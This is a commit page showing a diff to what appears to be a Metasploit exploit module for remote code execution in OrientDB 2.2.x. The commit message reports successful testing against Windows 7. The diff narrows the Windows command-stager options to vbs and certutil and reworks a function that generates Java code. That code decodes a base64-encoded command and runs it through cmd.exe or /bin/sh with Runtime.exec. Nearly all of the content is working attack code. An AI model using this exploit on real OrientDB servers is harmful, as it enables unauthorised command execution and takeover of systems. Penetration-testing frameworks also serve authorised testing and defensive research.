Skip to content

Commit f3f96ba

Browse files
author
Ricardo Almeida
committed
Orientdb 2.2.x RCE - Changed the java_craft_runtime_exec function; Tested the module against Win7-Pro-x64 with OrientDB v2.2.20 with StagerCmd flavors vbs and certutil with success
1 parent 2199877 commit f3f96ba

File tree

1 file changed

+10
-11
lines changed

1 file changed

+10
-11
lines changed

modules/exploits/multi/http/orientdb_exec.rb

Lines changed: 10 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -34,8 +34,7 @@ def initialize(info = {})
3434
[
3535
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
3636
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
37-
# WARNING: Not tested against Windows
38-
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['debug_asm','debug_write','vbs','certutil']}]
37+
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
3938
],
4039
'DisclosureDate' => 'Jul 13 2017',
4140
'DefaultTarget' => 0))
@@ -132,18 +131,18 @@ def java_craft_runtime_exec(cmd)
132131
decoder = Rex::Text.rand_text_alpha(5, 8)
133132
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
134133
cmd_array = Rex::Text.rand_text_alpha(5, 8)
135-
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\\n"
136-
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\\\"#{Rex::Text.encode_base64(cmd)}\\\");\\n"
137-
jcode << "String [] #{cmd_array} = new String[3];\\n"
134+
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
135+
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
136+
jcode << "String [] #{cmd_array} = new String[3];\n"
138137
if target['Platform'] == 'win'
139-
jcode << "#{cmd_array}[0] = \\\"cmd.exe\\\";\\n"
140-
jcode << "#{cmd_array}[1] = \\\"/c\\\";\\n"
138+
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
139+
jcode << "#{cmd_array}[1] = \"/c\";\n"
141140
else
142-
jcode << "#{cmd_array}[0] = \\\"/bin/sh\\\";\\n"
143-
jcode << "#{cmd_array}[1] = \\\"-c\\\";\\n"
141+
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
142+
jcode << "#{cmd_array}[1] = \"-c\";\n"
144143
end
145-
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \\\"UTF-8\\\");\\n"
146-
jcode << "Runtime.getRuntime().exec(#{cmd_array});"
144+
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
145+
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
147146
jcode
148147
end
149148

0 commit comments

Comments
 (0)